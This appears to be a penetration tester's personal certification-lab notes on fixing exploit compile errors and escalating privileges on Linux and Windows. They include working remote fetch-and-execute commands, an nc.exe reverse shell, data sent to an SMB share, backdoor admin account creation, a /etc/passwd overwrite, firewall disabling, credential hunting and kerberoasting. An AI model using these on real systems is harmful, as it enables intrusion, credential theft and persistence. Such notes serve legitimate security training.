764.c:1149:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function); did you mean ‘SSL3_MT_SERVER_HELLO’?

Fix:

#define SSL2_MT_SERVER_VERIFY 5

/usr/lib/gcc/i686-linux-gnu/7/../../../i386-linux-gnu/Scrt1.o: In function `_start':

  • use -nostartfiles option

gcc exp_moosecox.c -o pipe -nostartfiles

Finding Undeclared strings in their include files

ie:

clone((int (*)(void *))trigger,(void *)((unsigned long)newstack + 65536),CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,&fildes, NULL, NULL, target);

Search in /usr/src for the string

find /usr/src -type f | xargs grep -i CLONE_CHILD_CLEARTID

Result:

/usr/src/linux-headers-4.12.0-kali2-common/include/uapi/linux/sched.h:#define CLONE_CHILD_CLEARTID

Add the discovered library to your exploit code

version `GLIBC_2.7' not found

gcc -m32 14814.c -o 14814 -D_GNU_SOURCE

ORIG_RAX UNDEFINED

basically can't use -m32 switch since it looks as the code may need x64 compile only...

Page Size Undeclared

Input this header

#include <sys/user.h>

fatal error: bits/c++config.h

8478.sh: line 89: $'\r': command not found

dos2unix 8478.sh

error while loading shared libraries: requires glibc 2.5 or later dynamic linker

  • needs the "Wl,--hash-style=both"

gcc -m32 -D_GNU_SOURCE -Wl,--hash-style=both -o linux-sendpage 9545.c

Compiling Headers when required by exploits

  • ie; https://www.exploit-db.com/exploits/42887
  • basically this one requires you build a header file first as noticed by the cat into file commands
  • copy this section into a script ie;(/root/oscp/lab-net2019/hosts/leftturn/make.sh)
  • next you can compile the rest of the exploit normally as it will have this header file built by the script using cat and EOF switches for multiline cats within a script

Floating Point Exception

  • basically compile on the host itself

Windows Cross/Compile Errors on Kali

  • fwrite/fread issue: Add "#include <unistd.h>" in the binary and recompile. https://stackoverflow.com/questions/16178876/c-implicit-declaration-of-function
  • #include <Windows.h> Fatal error means change to lowercase "windows.h"
  • use locate to find missing files on our system to include by either fixing the casing ie "Windows.h" is "windows.h" in our libraries or otherwise include from anohther exploit into the current directory so gcc can find it and compile with it

locate -i "Windows.h"

  • fprint not declared issue: need to include the proper module/header file

#include <stdio.h>

  • .sln files need special visual studio cmd prompt to compile

Missing DLLs

  • Do a locate on the missing dlls and copy them into the cwd and try running them with wine again. This should get rid of teh import errors and loading errors.
  • if you see it loaded and still had an error you need to import the rigth arch used ie 32bit dll not 64 etc

EXAMPLE:

python27) root@kali:~/oscp/lab-net2019/hosts/jeff# wine exploit.exe 0009:err:module:import_dll Library libgcc_s_sjlj-1.dll (which is needed by L"Z:\root\oscp\lab-net2019\hosts\jeff\exploit.exe") not found
0009:err:module:import_dll Loading library libstdc++-6.dll (which is needed by L"Z:\root\oscp\lab-net2019\hosts\jeff\exploit.exe") failed (error c000007b).
0009:err:module:attach_dlls Importing dlls for L"Z:\root\oscp\lab-net2019\hosts\jeff\exploit.exe" failed, status c0000135

Other Exploit errors

Permission Denied when running binary

  • this can be because of the directory your using and may not allow execution find a notehr world writeable dir and try it there ie; /dev/shm location has worked

Syntax error: end of file unexpected (expecting "then")

  • something is wrong upon uploading the script us vi <filename> and copy paste it into a file on the target and save it and run it'll work if you can do this better off

Privilege Escalation

  • quick wins: do you have sudo rights? are you in admins groups?

LINUX

 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
 https://guif.re/linuxeop
 https://github.com/xapax/security/blob/master/privilege_escalation_-_linux.md

Sudoers

Check what sudo permisisons you have

  • requires password

sudo -l

Switch to root user

sudo -i

search tools

which

which netcat

locate
find

World Writeable Directories

  • Use these to stage file transfers, create files/dirs and execute programs or scripts you upload or otherwise
  • common place is the /tmp /var/tmp directory usually for any program that might need to write for its funtional purposes
  • 777 is a search for directories having write/read perms for everyone set
  • 0002 is a search for anything world writeable
  • -xdev and ls options will give you a listing of the search as if you ran ls command
  • -writeable option is the human readable version for the write perms
  • the a,u,g,o and r,w,x,s, and t letters to accomplish the same job as the numeric values.
  • "/" searches entire file system starting in root dir
  • "-" before the perm option ie; -644 means "at least these bit(s) must be set for a file to match" so 777 would also match 642 wouldn't
  • "/" before the perm options ie; /222 means "at least the write bit must be set on either user/group/everyone"
  • -user you can specify a user with this option and the permissions you want to see ie; -writeable
  • files will have a "t" at the end if the sticky bit is set with execute perms "T" means no execute. The sticky bit only lets original owners modify the files so we can run but not modify

Users

cat /etc/passwd | cut -d: -f1

Super users

awk -F: '($3 == "0") {print}' /etc/passwd

Groups

cat /etc/group

find world writeable directories

find / -writeable -type d 2>/dev/null

find / -perm -777 -type d -maxdepth 3 print 2>/dev/null

find / -perm -0002 -type d -print 2>/dev/null

find / -perm -o+w -type d 2>/dev/null > ww2.txt

find / -perm -0002 -xdev -type d -ls 2> /dev/null

Find directories owned by a user

find / -writable -xdev -user steven -type d -ls 2>/dev/null

find executable and writeable directories for everyone(-o)

find / -executable -perm -o+w -type d 2>/dev/null

find / ( -perm -o w -perm -o x ) -type d 2>/dev/null

World Writeable Files

find world writeable files

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print

find executable/writeable files for everone

find / -executable -perm -o+w -type f 2>/dev/null

Find all files world writeable without the Sticky Bit set so you can modify them

find / -user root -type d ( -perm -0002 -a ! -perm -1000 ) -print 2>/dev/null

SUID Executables/Binaries for Root

ref: https://null-byte.wonderhowto.com/how-to/hack-like-pro-finding-potential-suid-sgid-vulnerabilities-linux-unix-systems-0158373/

  • suid bit basically means the program runs as the owner even though you run as a different user
    • files will display an "s" where "x" normally goes "S" means no execute perms
    • in newer OS doesn't work with scripts but good for binaries
  • example of me using "whoami" with suid bit set to see that even if i use my user account it will say i'm root

root@kali:~# chmod u+s /usr/bin/whoami

-rwsr-xr-x 1 root root 35456 Aug 29 13:20 /usr/bin/whoami --------------we see "s" for suid

steven@kali:/root$ whoami
> root ----------------because it runs as the user root/owner of the "whoami" binary

Apps to look for if they come up in the findings

https://pentestlab.blog/2017/09/25/suid-executables/

https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

https://www.pentestpartners.com/security-blog/exploiting-suid-executables

1. vim
2. cp
3. find
4. nano
5. saved scripts by the root user
6. echo
7. less
8. more
9. bash
10. cat
11. nmap

Standard suid apps to likely ignore
https://g0blin.co.uk/pluck-vulnhub-writeup/

Whitelist that seems to inlcude most of the standards possibly others that we could likely ignore mentioned from programmers in this project: https://github.com/openstack/charm-swift-storage/blob/master/charmhelpers/contrib/hardening/host/checks/suid_sgid.py

WHITELIST = ['/bin/mount', '/bin/ping', '/bin/su', '/bin/umount', '/sbin/pam_timestamp_check', '/sbin/unix_chkpwd', '/usr/bin/at', '/usr/bin/gpasswd', '/usr/bin/locate', '/usr/bin/newgrp', '/usr/bin/passwd', '/usr/bin/ssh-agent', '/usr/libexec/utempter/utempter', '/usr/sbin/lockdev', '/usr/sbin/sendmail.sendmail', '/usr/bin/expiry', '/bin/ping6', '/usr/bin/traceroute6.iputils', '/sbin/mount.nfs', '/sbin/umount.nfs', '/sbin/mount.nfs4', '/sbin/umount.nfs4', '/usr/bin/crontab', '/usr/bin/wall', '/usr/bin/write', '/usr/bin/screen', '/usr/bin/mlocate', '/usr/bin/chage', '/usr/bin/chfn', '/usr/bin/chsh', '/bin/fusermount', '/usr/bin/pkexec', '/usr/bin/sudo', '/usr/bin/sudoedit', '/usr/sbin/postdrop', '/usr/sbin/postqueue', '/usr/sbin/suexec', '/usr/lib/squid/ncsa_auth', '/usr/lib/squid/pam_auth', '/usr/kerberos/bin/ksu', '/usr/sbin/ccreds_validate', '/usr/bin/Xorg', '/usr/bin/X', '/usr/lib/dbus-1.0/dbus-daemon-launch-helper', '/usr/lib/vte/gnome-pty-helper', '/usr/lib/libvte9/gnome-pty-helper', '/usr/lib/libvte-2.90-9/gnome-pty-helper']

SUID/4000/s Search for root owner files

find / -perm +4000 -user root -type f -print 2>/dev/null

find / -perm -4000 -user root -print 2>/dev/null

find / -perm -u=s -user root -type f 2>/dev/null

find / -xdev -perm -u=s -user root -type f -ls 2>/dev/null

find / -perm /4000 -user root -exec ls -ld {} \; 2> /dev/null

Execute only if previous command failed

find / -perm +43000 -user root -type f -print 2>/dev/null || find / -perm +4sdf00 -user root -type f -print 2>/dev/null || find / -perm +4000 -user root -type f -print 2>/dev/null

SUID directories

find / -xdev -perm -u=s -user root -type d -ls 2>/dev/null

SGID Files/Directories

  • SGID bit means the programs found will run with the groups permissions hopefully root.**
  • rwxr-sr-x 1 root root 51 Nov 23 20:54 test.sh

SGID all files

find / -perm +2000 -user root -type f -print 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

SGID all directories

find / -perm -g=s -type d 2>/dev/null

SGID all files/directories

find / -perm /2000

SGID and SUID bits set

find . -perm -6000

at least a suid bit is set or guid "/"

find . -perm /6000

Networking/Services/Installed Apps

list open service port 21 and the application using it
    netstat -tulpna | grep 21 
list installed apps
    Aptitude-based distributions (Ubuntu, Debian, etc): dpkg -l
    RPM-based distributions (Fedora, RHEL, etc): rpm -qa
    pkg*-based distributions (OpenBSD, FreeBSD, etc): pkg_info
    Portage-based distributions (Gentoo, etc): equery list or eix -I
    pacman-based distributions (Arch Linux, etc): pacman -Q
    Cygwin: cygcheck --check-setup --dump-only *
    Slackware: slapt-get --installed

IPtables

Turn off Iptables

service iptables stop

/etc/passwd edit

Get hash type used in victim's passwd file

grep -A 10 ENCRYPT_METHOD /etc/login.defs

Generate MD5 passwd hash

openssl passwd -1 pass123

$1$uEEf4ZbA$1DdT4d5esDGYFqkcHaDnK/

Generate SHA512 passwd hash

mkpasswd -m SHA-512 P@ssWORD1234

$6$EUCusxCATNCqOKw$K78KRuk5CKPyr/rHSMibf6Yf1u55sRzWbIcuq/2qzx9LUfJa7NpE2SD.gEfL7Al9rYSKpjQvIpCBZ0H3.q9e3/ 
  • edit the passwd copy and input the hash for the root user where the "x" is in the entry

root0:0:root:/root:/bin/bash

CHANGE TO

root:<ENTER HASH HERE\>:0:0:root:/root:/bin/bash

nano passwd

  • re-upload to target and you may have to cat the enter thing into the originals place

cat passwd > /etc/passwd

  • now you can change users to root

su root

Networking/Services/Installed Apps

list open service port 21 and the application using it
    netstat -tulnpa | grep 21 
list installed apps
    Aptitude-based distributions (Ubuntu, Debian, etc): dpkg -l
    RPM-based distributions (Fedora, RHEL, etc): rpm -qa
    pkg*-based distributions (OpenBSD, FreeBSD, etc): pkg_info
    Portage-based distributions (Gentoo, etc): equery list or eix -I
    pacman-based distributions (Arch Linux, etc): pacman -Q
    Cygwin: cygcheck --check-setup --dump-only *
    Slackware: slapt-get --installed

Configuration Files search

find all .conf files

find / -name *.conf -type f 2>/dev/null

Credentials search

  • single quotes means literal otherwise use escapes due to regex being used ie; "\$password" to look for \$password
  • -i means ignore case
  • -n means input the line number the string was found on within it's file
  • -I means ignore binary files

Find all password vars in php files in the CWD

find ./ -type f -name "*.php" 2>/dev/null | xargs grep -in "password"

Find all password strings in php files on file system and ignore errors

find / -type f -name "*.php" -print0 2>/dev/null | xargs -0 cat | grep -i -n "password"

Search all files for a string

  • use to find a username

find / -name "*.*" -type f 2>/dev/null | xargs grep -inI 'mYsQ!P4ssw0rd$yea!' 2>/dev/null

Searching for any files with root in them

find /var/www/ -type f | xargs grep -in root

Search for SQL creds

find /var/www/ -type f | xargs grep -in \\$mysql

Search for only 20 chars before and after

find /var/www/ -type f -name "*.js" | xargs grep -inoP .{0,20}password.{0,20}

Search for all files except for .js files with the string password

find /var/www/ ! -name '*.js' -type f | xargs grep -in password

Search for 2 differnt file types

find /var/www/ -type f ( -iname *.php -o -iname *.txt ) | xargs grep -in password

Reading command line parameters of a running process

  • this could hint to the idea of what the machine is up to. Are there active users running some job we could against a file we could modify?
  • Use top command to see when the curl command is sent pick up the PID and use the proc paths to see what is passed in the command line

https://stackoverflow.com/questions/821837/how-to-get-the-command-line-args-passed-to-a-running-process-on-unix-linux-syste

using a PID of interest cat for its cmdline data

cat /proc/18719/cmdline

SSH without password via Authorized_keys

  • if you get access to a user directory ie; via FTP, you can create the .ssh dir,upload your machines pub keys and rename it to authorized_keys so that you can then ssh in as the user without providing a password
  • this is due to ssh configs and where they grab these keys from this is default behavior

Generate your keys if not made

  • see my kali notes

mkdir in the users directory if not present

mkdir .ssh

upload your RSA public key

ftp> put id_rsa.pub

Rename to authorized_keys

ftp> rename id_rsa.pub authorized_keys

SSH without providing password

ssh billy@10.10.10.37

SSH Fingerprint using MD5 Algo

  • by default newest ssh-keygen binary runs the sha256 fingerprint, the md5 may be needed for older exploit discovery ie; Debian PRNG openssl

ssh-keygen -l -E md5 -f ./ssh-rsa.pub

Known_Hosts file

  • these a pub keys saved on a machine that are "known" connected to in the past

Brute the hashed hosts

/root/oscp/lab-net2019/hosts/target1/known_hosts-hashcat/kh-converter.py known_hosts

  • in hashcat on win machine:
  • the ipv4_hcmask.txt file is used to brute the entire IPV4 network space(got this from the git repo)

hashcat64.bin -m 160 --quiet --hex-salt converted_known_hosts -a 3 ipv4_hcmask.txt

Crowbar.py

  • brute force a large number of private keys for ssh across one host or many; across one user or many
  • "--keyfile <keyfile or dir of keys>" automatically will skip public keys for you
  • "-b" choose the sshkey module
  • "-s" choose a single host with /32 at the end or choose to scan a subnet etc
  • "-u" choose the user
  • "-l" output log file

~/extra-tools/crowbar/crowbar.py -b sshkey -s 10.22.1.43/32 -u root --keyfile rsakeys/rsa/2048/ -l ./crowbar-rsa.log

Priv-esc scripts

/root/priv-esc/unix

LinEnum.sh script

./LinEnum.sh -k password -r report -e LinEnumReport -t

  • This will make a folder structure style report. if needed zip it and download it off the target(zip -r LinEnumReport.zip LinEnumReport) Then upload it to http location and use wget to download it

/LinEnum.sh -r report -e LinEnumReport -t

  • use without the -e parameter to generate a 1 txt file report

./LinEnum.sh -s -k password -r report2 -t

  • creates a report.txt file and no files are collected etc in a dir Collects: Systeminfo,passwd/shadow,user/groups/root users,sudoers config,envs,home dir perms,cron jobs,ip/netstat info,running services/assoc. binaries, xinetd.conf,init.d,interesting files ie; nc,nmap,gcc,wget, all .conf files in /etc, read mailbox of user in /var/mail

LinuxPrivchecker.py

python linuxprivchecker1.py >> linuxprivchecker.txt

  • Collects: OS/network/netstat,mount/fstab,cronjobs,sudoers,envs,World Writeable Dirs,SUID/SGID files/dirs, logs/configs with keyword password,shadow,all installed apps, running processes/processes running as root, languages/tools for exploitation and related commands to gain root shell, Suggested Priv esc exploits to use

unix-privesc-check.sh

sh unix-privesc-check standard|detailed

  • Collects: ip,hostname,writeable config files not root, shadow,passwd(checks if hashes are present),accts with no password,sudoers(checks if no passwd is needed for any users), inittab,world writeable files, writeable cronjobs,perms on mounted partitions,writeable inetd programs,writeable xinetd programs,writeable home dirs,SUID root apps,private/public ssh keys in home dirs,writeable startup files(init.d /rc.d),writeable running apps,

linux-exploit-suggester

  • fairly current
  • run directly on victim with curl command or upload it and run it via bash

curl http://10.10.14.17/linux-exploit-suggester.sh | bash

linux-exploit-suggester-2

  • newer as of dec 2018

perl linux-exploit-suggester-2.pl > linuxexploitsuggester.txt

SSH with Private Key

  • you simply need the private key and can supply it via SSH from your own machine
  • may need to chmod 600 first if you get an error stating weak permissions
  • you will recieve a prompt if it's not a private key or a key that can be used with openssh ie "(OpenSSH SSH-2 private key)" error from a win box using plink

chmod 600 rsaKEY.cfg

ssh -i rsaKEY.cfg 10.22.1.43

WINDOWS

http://virgil-cj.blogspot.com/2018/02/escalation-time.html

https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Privilege%20Escalation%20%26%20Post-Exploitation.md

https://kalilinuxtutorials.com/microsoft-windows-hacking-pack-whp/ --------interesting scripts to use per OS

https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://www.toshellandback.com/2015/11/24/ms-priv-esc/ -----------using accesschk
https://securism.wordpress.com/oscp-notes-privilege-escalation-windows/

http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html basics,reg queries,msi file creations, RDP, create powershell http get script with echo, trusted service paths

https://gist.github.com/sckalath/8dacd032b65404ef7411

https://github.com/kyawthiha7/oscp_notes/blob/master/windows_priv_escalation.md

Services/programs/users/shell/arch

Check if Shell is x32 or x64 Architecture in CMD

  • useful when the systeminfo says machine is 64bit but you find out exploits don't work because your in a 32bit shell
  • will only echo 32 bit if the cmd shell is 32 bit

If "%PROCESSOR_ARCHITEW6432%" == "AMD64" ECHO 32 bit process

Powershell

  • will only echo 32 bit if the ps shell is 32 bit

if ($env:PROCESSOR_ARCHITEW6432 -eq "AMD64") {"32 bit process"}

Get systeminfo

  • domain,hotfixes,Nics,OS,install dates,arch

systeminfo

Get Windows version

ver

Get username/privs

whoami

echo %USERNAME%

  • is SEimpersonate privelege allowed? could allow for more exploits like juicy potato

whoami /priv

  • check the permissions of the folder to get the username who made it aka your username

md

List hidden files

dir /a

get-childitem -Force

ls -force

List all dirs/files recursively from current dir

  • /b option wont list dates or sizes just direct path if found
  • /s for recursive search of all files and folderss
  • /a for hidden files

dir /a /s /b

Checking Permissions

  • looking for "F" for full perms
  • W for write so we can overwrite
  • R just reads
  • may not be able to view perms on files you may be owner on check the home dir to see if you have full perms to see if it's worth checking

icacls <folder path>

cacls <folder path>

cacls %windir%\system32\rundll32.exe

  • Grant Full Permissions and skip errors

icacls .* /GRANT "HELPDESK\WALTER":(OI)(CI)F /T /C

  • View Owner

dir /q <folder or file>

  • Set owner
    • this can also be used as a technique to see what is not denied ie; world writeable dirs for restricted file systems you find your self in

icacls .* /SETOWNER Walter /T /C

  • Powershell method

Get-Acl root.txt | fl *

Modifying Permissions

  • Changing permissions to have full perms if you are an owner of a file but don't have any other rights
  • /t for changing permissions of all files in current dir
  • /e for edit acl
  • /p for user and permission to add

cacls root.txt /t /e /p Alfred:F

Accesschk.exe

  • Check for permissions to the windows directory for Authenticated users

accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula

users

net users

get group memberships and more

net user <username>

network

  • check for services on listen/listening and not caught by scans externally. Use plink.exe to forward them if interesting to connect to them

netstat -ano

Add Default gateway

  • sometimes the machine doesn't have a route back to your network oddly enough. Find the default route used probably the main DNS machine on the network

route add 0.0.0.0 mask 0.0.0.0 10.22.1.43

Processes

tasklist

Get-process

  • Get process by PID

tasklist /fi "pid eq 4"

get-process -id 4

  • kill task

taskkill /F /PID 2828

  • List File calling process

get-process mysqld -FileVersionInfo

scheduled tasks

  • look for for binary run by privileged user that we can overwrite with our own and pipe to txt file

schtasks /query /fo LIST /v > \\10.22.1.43\ROPNOP\exfiltrated\schtasks.txt

  • do a permissions check on the binaries and look for write perms to overide with shell code

cat schtasks.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM

Listing Drivers

driverquery

Services

  • wmic,sc,accesschk,cacls

  • first gather used service EXEs in a file with wmic(or can use sc.exe binary if wmic isn't availble locally)

  • with WMIC

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> permissions.txt

  • with SC
  • the path.txt at the end will need to be manually checked for each path unless i can grep on my kali box for only the paths and feed it into the cacls loop

sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt

> FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt

> FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
  • then use cacls/icacls to grab the permissions for each
  • change to iacls if cacls isn't installed

for /f eol^=^"^ delims^=^" %a in (permissions.txt) do cmd.exe /c cacls "%a"

  • checking permissons to a service path manually

cacls "C:\path\to\file.exe"

Check permissions to a service

  • see the exploit section using srvcheck3.exe to learn more

sc sdset ssdpsrv

listing services

wmic process list brief

Get-Service | where {$_.Status -eq "Running"}

Unquoted service paths

  • https://www.commonexploits.com/unquoted-service-paths/
  • replace unquoted paths like C:\program files\winamp.exe with "c:\program.exe" with our program to execute our own code
  • verify you have write perms to the C:\ drive though since you'll need to write a file there if the break is in "program files" etc
  • can identify the unquoted paths by reading our paths.txt script genereated by windows_recon.bat
  • you will then need the ability to restart the service or if it autorestarts wait for it

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\" |findstr /i /v """

Windows services commands

SC QC <service-Name>
SC STOP <Service-Name>
SC STOP Spooler.
SC START <Service-Name>
SC QUERYEX <Service-Name>
SC QUERYEX Spooler.
SC CONFIG <Service-Name> start= disabled.
SC CONFIG UI0Detect start= disabled.
sc config <service name> binPath= <binary path>  ----------------use this on vulnerable services to execute a command

srvcheck3.exe

  • exploit vulnerable services in win xp/2000
  • (SEE EXPLOITS MS06-011 notebook section)

Accesschk.exe

  • use this if SC or Wmic commands don't work

  • will list vulnerable services to escalation an possible use of srvcheck3.exe if needed

  • For winXP/2003(maybe) using 5-2 version

accesschk5-2.exe -uwcqv "Authenticated Users" * /accepteula

  • if vulnerable services are found use the SC commands to view and change the bin path to your exe

sc config binpath= "net user backdoor backdoor123 /add"

sc stop

sc start <vuln$ -service>

sc config binpath= "net localgroup Administrators backdoor /add"

sc stop

sc start

Programs

Get-WmiObject -Class Win32_Product

  • Powershell version

REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion

  • CMD.exe

dir C:\Windows\system32\cmd.exe

  • use both for 32/64 bit programs

    Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall*

    Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*

  • Executables

dir /s *cmd.exe

get-childItem -Recurse C:\ *.mysql*

DLL injections

APPLocker

  • newer windows feature for app management. Find allowed file types,hashes for apps to make sure they aren't replaced, whitelisted paths

  • store app locker policy in var and xml format

$output = Get-ApplockerPolicy -Effective -xml

Windows Firewall

NetSh Advfirewall set allprofiles state off

Disable on older win os

netsh firewall set opmode disable

Find passwords/proof.txt in files

type * | findstr password

findstr /si password *.xml *.ini *.txt *.config *.cfg *.bat *.php > c:\temp\passsearch.txt

  • Powershell Method to also output to a UTF8 encoded file onto my linux SMB server to read with my tools like leafpad

Get-ChildItem C:\inetpub* -include *.xml,*.ini,*.txt,*.config,*.php,*.asp -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" | Out-File -Encoding UTF8 \\10.22.1.43\ROPNOP\passSearch.txt

  • powershell find file

Get-ChildItem -Path C:\ -Filter *proof.txt* -Recurse -ErrorAction SilentlyContinue -Force

  • dir and supplying a specified path to search for more than one wild card item

dir /s c:*proof.txt* == *network*.txt

  • list directories

tree c:\ > c:\users\public\folders.txt

  • Find files with "pass" or "cred" in their name. Will be run from the current dir

dir /s pass == cred

  • Find passwords in Registry

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

  • get default user auto login creds listed

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Win 2000 Registry files

  • C:\WINNT\system32\config
  • use if you cant run reg commands or dump any SAM hashes

Start background process

  • basically enter the .exe and the arguments right after this can be for any .exe ie payloads etc

Start-Process -FilePath "powershell" "mkdir c:\temp\testdir"

ldapsearch

  • syntax can be tricky

Get SPNs

  • look for dn= users

ldapsearch -x -h 10.10.10.100 -p 389 -D "SVC_TGS" -w "password1234" -b "dc=contoso,dc=com" -s sub serviceprincipalname | grep -B 1 servicePrincipalName | more

dn: CN=Administrator,CN=Users,DC=contoso,DC=com                                                                                                                     
servicePrincipalName: active/CIFS:445   

Execute ps1 script as x64 if using x32 shell

%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe

OR

C:\windows\sysnative\WindowsPowerShell\v1.0\powershell.exe

GetUserSPNs.py

  • instead of ldapsearch this can be run to enumerate then request the TGS ticket with the hash for cracking with hashcat

/usr/share/doc/python-impacket/examples/GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100

Sync time with kerberos server

rdate -n 10.10.10.100 -v

verify your time

date

request for TGS ticket containing hash from all users

  • we authenticate with our user creds to enumerate all TGS hashed tickets
  • if we had an admin user identified as kerberoastable via bloodhound it should show up here and we can crack it

/usr/share/doc/python-impacket/examples/GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100 -request

BloodHound

  • git clone https://github.com/BloodHoundAD/BloodHound.git
  • use built in queries for kerberoastable searches for admin accounts to target
  • use the "Shortest Paths to High Value Targets" query to find immediate paths and generate leads for admin escalations
  • use the Pathfinding feature to input a user of interest and an object like a group of interest to see what rights are available for escalation

Running SharpHound collector from My Windows Machine

  • using the NET ONLY method to authenticate as a user from my win box
  • upload the SharpHound.exe to my win box and use following command with PS
  • change the dns settings on your TAP vpn adapter to the domain controller in question
  • need to specifiy domain etc because we aren't domain joined to the machine

.\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100

  • PS1 script alternative
  • Don't run from directly mounted smb drive, copy it directly on the machine C drive

import-module SharpHound.ps1

Invoke-Bloodhound -CollectionMethod All

  • run remotely

IEX(New-Object Net.webClient).downloadString('http://10.10.14.17/SharpHound.ps1')

  • upload the exported zip to kali box and upload it to Blood hound(see kali linux env notes on setup)

start db

neo4j start

start bloodhound

cd /usr/lib/bloodhound/

./BloodHound

  • login(creds in KeePass)
  • use upload data button to upload your exported zip files
  • use the search for node and type the name of the domain it shoul autofill and you can begin investigation

Write Owners with PowerView

  • if a user is write owner over another user they can effectively take ownership of the user object to even reset their password

  • Under a user profile look at "first degree object control"

  • look at transitive controls to reveal what a user could achieve after taking control of the first degree object noticed

  • Import the PowerView.ps1 module

import-module PowerView.ps1

IEX(New-Object Net.webClient).downloadString('http://10.10.14.17/PowerView.ps1')

powershell "IEX(New-Object Net.webClient).downloadString('http://10.10.14.17/PowerView.ps1')"

  • Taking ownership of an account

Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico -verbose

  • Setting password reset rights if owning the account

Add-DomainObjectAcl -TargetIdentity Herman -PrincipalIdentity nico -Rights ResetPassword -Verbose

  • Resetting users password

\$pass = ConvertTo-SecureString 'p@ssword1234' -AsPlainText -Force

Set-DomainUserPassword Herman -AccountPassword $pass -verbose

WriteDACL

  • will add a user to a group if the user has these perms to a group

  • Adding to the "Backup_Admins" group as Herman with Creds captured in var

\$pass = ConvertTo-SecureString 'p@ssword1234' -AsPlainText -Force

\$cred = New-Object System.Management.Automation.PSCredential('HTB\Herman',\$pass)

Add-DomainGroupMember -Identity 'Backup_Admins' -Members Herman -Credential \$cred

View users Group memberships

Get-DomainGroup -MemberIdentity Herman | select samaccountname

Kerberoasting

  • use bloodhound to identify kerberoastable admin account
  • use GetUsersSPNs.py to get the Ticket Granting admin hash
  • use hashcat to crack the kerb hash with rockyou.txt
  • use psexec.py to authenticate with cracked password as the kerberoastable admin user

Authenticating with captured Creds

  • kerberoasting,discovered in text file,ssh keys or otherwise

Test creds with Runas

  • will prompt for password and output failure if it fails or make the file

C:\Windows\System32\runas.exe /env /noprofile /user:walter "cmd /c echo test > c:\test.txt"

Testing a Users creds with PS/.NET

  • just change the user/pass
  • for .NET 2.0, if the command is successful without errors the creds work powershell.exe -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$username = 'Billy'; $password = 'password1234'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Start-Process -FilePath C:\Windows\System32\calc.exe -NoNewWindow -Credential $credential; }"
  • For NET 3.0 powershell.exe -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$username = 'Alice'; $password = 'aliceishere'; $computer = $env:COMPUTERNAME; Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $obj = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('machine',$computer); $obj.ValidateCredentials($username, $password); }" Powershell
  • use this method once getting a PS prompt
  • make the password variable > creds var > execute remote PS shell using the creds and hope for admin creds

$SecPass = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force

\$cred = New-Object System.Management.Automation.PSCredential('Administrator',$SecPass)

Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.webClient).downloadString('http://10.22.1.43/Invoke-PowerShellTcp-1338.ps1')" -Credential $cred

  • alternative reverse shell with nc.exe as supplied user

$username = 'Billy'

$password = 'password1234'

\$securePassword = ConvertTo-SecureString $password -AsPlainText -Force

\$credential = New-Object System.Management.Automation.PSCredential \$username, $securePassword

Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-e","cmd.exe","10.22.1.43","446") -WorkingDirectory C:\Users\Public

psexec.py

  • use this with admin creds and a writeable smb share and you could get a shell
  • fixed to work directly from command line
  • --lusers will list logged on useres
  • --shares will list available shares
  • --sam can list the SAM hashes if available

/usr/share/doc/python-impacket/examples/psexec.py contoso.com/administrator@10.10.10.100

  • also works with just locally added admin creds

psexec.py walter@10.22.1.43

wmiexec.py

  • also uses smb as vector it seems but can supply password

/usr/share/doc/python-impacket/examples/wmiexec.py contoso.com/administrator:passowrd1234@10.10.10.100

crackmapexec spray creds

(SEE PTH SECTION BELOW)

Net Only (Authenticating with User Creds to a Domain)

  • Use the Net Only command with the domain/user params to authenticate and try to enumerate things against a given domain
  • on HTB remember to first disconnect your vpn on kali and recconnect via windows box.
  • install the openvpn EXE file if you need to and can just just my openvpn HTB connection file

Opening a cmd prompt as a domain user

runas /netonly /user:contoso.com\SVC_TGS cmd

Verify creds work by listing share we know only the user could read

dir \\10.22.1.43\Users

net view \10.22.1.43\

Add admin users

cmd /c net user walter P@ssWORD1234 /add

cmd /c net localgroup Administrators walter /add

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t reg_dword /d 0 /f

Turn on RDP

